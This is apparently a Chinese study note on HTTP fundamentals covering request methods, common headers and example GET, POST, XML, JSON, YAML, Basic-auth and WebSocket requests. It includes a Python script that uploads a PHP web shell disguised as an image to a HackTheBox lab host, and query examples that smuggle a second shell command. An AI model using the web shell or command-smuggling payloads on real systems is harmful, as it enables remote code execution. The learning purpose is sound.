HTTP 协议基础
HTTP 协议请求方法
方法
作用
常见用途
GET
获取资源
打开网页、查询数据
POST
提交数据
登录、注册、提交表单、上传数据
PUT
整体更新资源
更新用户信息、上传完整文件
PATCH
部分更新资源
只修改某个字段
DELETE
删除资源
删除用户、删除文章、删除文件
HEAD
只获取响应头
判断资源是否存在、检查文件大小
OPTIONS
查询服务器支持的方法
CORS 预检请求
TRACE
回显请求内容
调试用,生产环境通常禁用
CONNECT
建立隧道连接
HTTPS 代理、HTTP 代理隧道
HTTP 协议请求头
Cookie:用于客户端将浏览器中保存的 Cookie 携带给服务器,常用于维持登录状态、会话识别和用户跟踪等场景。
Content-Type:用于告诉 Web 应用程序请求正文中使用的数据格式,例如 application/x-www-form-urlencoded、multipart/form-data、application/json、application/xml、application/x-yaml 等。
Accept-Language:用于告诉 Web 应用程序客户端偏好的语言类型,服务器可根据该字段返回对应语言的页面内容,例如 zh-CN、en-US 等。
Content-Length:用于表示请求正文的字节长度,服务器可根据该字段判断请求体大小和读取范围;如果该字段出现在响应头中,则表示响应正文的字节长度。
Host:用于指定客户端请求的目标主机名和端口,是 HTTP/1.1 请求中的必需字段,服务器可根据 Host 头区分不同站点或虚拟主机。
User-Agent:用于标识客户端的软件信息,例如浏览器类型、操作系统、爬虫工具或脚本客户端等,服务器可能会根据该字段返回不同内容。
Accept:用于告诉服务器客户端可以接收的响应内容类型,例如 text/html、application/json、image/webp 等。
Accept-Encoding:用于告诉服务器客户端支持的内容压缩方式,例如 gzip、deflate、br 等,服务器可根据该字段返回压缩后的响应内容。
Referer:用于表示当前请求来源于哪个页面,常用于来源统计、防盗链和 CSRF 防护等场景,该字段可能为空,也可能被伪造。
Origin:用于表示跨域请求的来源站点,常见于 CORS 跨域请求中,服务器通常会根据 Origin 判断是否允许跨域访问。
Authorization:用于携带身份认证信息,例如 Basic Token、Bearer Token、JWT 等,常见于 API 接口认证场景。
Connection:用于控制当前连接的管理方式,例如 keep-alive 或 close。
Cache-Control:用于控制缓存策略,客户端和服务器都可以使用该字段影响缓存行为,例如 no-cache、no-store、max-age 等。
If-Modified-Since:用于配合缓存验证,客户端告诉服务器本地缓存资源的最后修改时间,如果资源未变化,服务器可返回 304 Not Modified。
If-None-Match:用于配合 ETag 进行缓存验证,如果资源标识未变化,服务器可返回 304 Not Modified。
X-Requested-With:常用于标识请求是否由 Ajax 发起,典型值为 XMLHttpRequest,部分后端会根据该字段区分普通请求和异步请求。
X-HTTP-Method-Override:用于在不支持某些 HTTP 方法的场景下,通过请求头覆盖原始请求方法,例如客户端实际发送 POST 请求,但通过该字段声明为 PUT、PATCH 或 DELETE,后端可能会按照覆盖后的方法处理请求。
X-Forwarded-For:用于记录客户端的真实 IP 地址,常见于经过代理、负载均衡、CDN 或反向代理的场景,服务器可能会根据该字段获取用户来源 IP,但如果未经过可信代理处理,该字段可能被客户端伪造。
X-Forwarded-Host:用于记录客户端原始请求中的 Host 值,常见于反向代理或负载均衡环境,后端应用可能根据该字段生成跳转链接、回调地址或绝对 URL,如果校验不当,可能引发 Host 头注入、缓存投毒等问题。
X-Forwarded-Proto:用于记录客户端原始请求使用的协议,例如 http 或 https,常见于反向代理场景,后端应用可能根据该字段判断当前请求是否为 HTTPS 请求。
X-Real-IP:用于记录客户端真实 IP,常见于 Nginx 反向代理环境,作用类似于 X-Forwarded-For。
Forwarded:标准化的代理转发请求头,可用于记录客户端 IP、协议和 Host 等信息,例如 for=、proto=、host=。
参考网站(非常全面):
Text Only https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers
HTTP GET / POST 请求示例
Text Only # GET 请求示例
GET / HTTP/1.1
Host: xxx
Cookie: name=value
Connection: close
# POST 请求示例
POST / HTTP/1.1
Host: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
a=b&c=d
通过 & 符号连接多个请求参数:
Text Only # GET
http://xxx/?id=1&cmd=ls
http://xxx/?id=1&cmd=ls%26%26dir
# POST
id=1&cmd=ls
cmd=ls%26%26dir
注意:使用 & 符号连接多个参数,当需要实际发送 & 符号则需要进行 URL 编码
GET 查询参数和 POST 请求体参数同时传递:
Text Only # GET
GET /lab?key=please HTTP/1.1
Host: xxxx
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
key=please
# POST
POST /lab?key=please HTTP/1.1
Host: xxxx
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
key=please
参数污染
Text Only # 尝试在一次请求发送多个相同的参数,测试服务器响应内容
GET /api/order?id=123&id=456 HTTP/1.1
Host: example.com
GET 查询字符串传递数组参数
Text Only GET /lab?key[0]=key&key[1]=please HTTP/1.1
# 注意 URL 编码
GET /lab?key%5B0%5D=key&key%5B1%5D=please HTTP/1.1
上传文件
Text Only # 通过 python 实现
import requests
def main():
target = "http://popcorn.htb/torrent/upload_file.php"
web_shell = "<?php system($_GET['cmd']);?>"
parm = {
"mode": "upload",
"id": "520"
}
# 直接写入指定文件内容
files = {
"file": ("test.php", web_shell, "image/jpeg")
}
# 或者读取指定文件
files = {
"file": ("test.php", open('shell.php', 'rb'), "image/jpeg")
}
data = {
"submit": "Submit Screenshot"
}
req = requests.post(url=target, params=parm, files=files, data=data)
print(req.text)
if __name__ == "__main__":
main()
发送 XML 数据
Text Only # 注意在请求头设置 Content-Type: application/xml
# 如果 XML 内容中包含特殊字符,需要进行 XML 实体编码。
# 原始内容
<key><value>>please</value></key>
# 编码后
<key><value>>please</value></key>
发送 JSON 数据
Text Only # 注意在请求头设置 Content-Type: application/json
# 如果数据包含特殊字符需进行转义处理。
# 原始内容
{"key": "please""}
# 转义后
data = {"key": "please\""}
发送 YAML 数据
Text Only # 注意在请求头设置 Content-Type: application/x-yaml、Content-Type: text/yaml
# 如果字段值中包含冒号、引号、换行等特殊内容,可使用单引号、双引号或块文本进行包裹。
POST /lab HTTP/1.1
Host: xxxx
Content-Type: application/yaml
key: please
发起 Basic 认证
Text Only # 通过 python 实现
import requests
req = requests.get(url=url, verify=False, auth=("key", "please"))
发送 WebSocket 数据
Text Only # 通过 python 实现
# pip install websocket-client
import websocket
url = "ws://xxxx"
ws = websocket.create_connection(url)
ws.send("key")
print("[+] 已发送: key")
response = ws.recv()
print("[+] 服务端响应:", response)
ws.close()
2026年5月9日
2026年5月9日
GitHub